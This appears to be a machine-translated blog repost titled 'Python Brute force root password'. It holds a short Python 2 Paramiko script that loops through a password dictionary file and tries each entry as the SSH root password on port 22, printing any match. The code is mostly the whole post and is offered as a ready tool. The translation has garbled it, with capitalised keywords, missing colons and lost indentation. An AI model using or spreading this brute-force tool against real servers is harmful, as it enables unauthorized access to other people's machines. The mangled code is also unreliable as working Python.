Python Brute force root password

Environment Preparation:

1. Installing the Paramiko module

2, the server SSH service to open port number 22nd

below, please see the code

#!/usr/bin/py

#-*-Coding:utf-8-*-

Import Paramiko

SSH = Paramiko. Sshclient ()#实例化类

Ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ()) #连接时自动回答为yes

d = File ('/root/a.txt ')#字典文件路径

For I in D.xreadlines (): #循环密码字典

i = I.strip () #去掉前后的空格

If not I:#如果值为空则进入下一轮循环

Continue

Try

#开始尝试密码

Ssh.connect (hostname= ' localhost ', port=22, username= ' root ', password=i)

print ' root password is ', I#如果密码正确则打印密码

Break#跳出循环

Except

Continue#如果密码错误则进入下一轮循环

Else

print ' does not crack root password, please change the dictionary to try again ' #如果没有匹配到密码

This article is from the "Automated Operations" blog, please be sure to keep this source http://hongchen99.blog.51cto.com/12534281/1908511

Python Brute force root password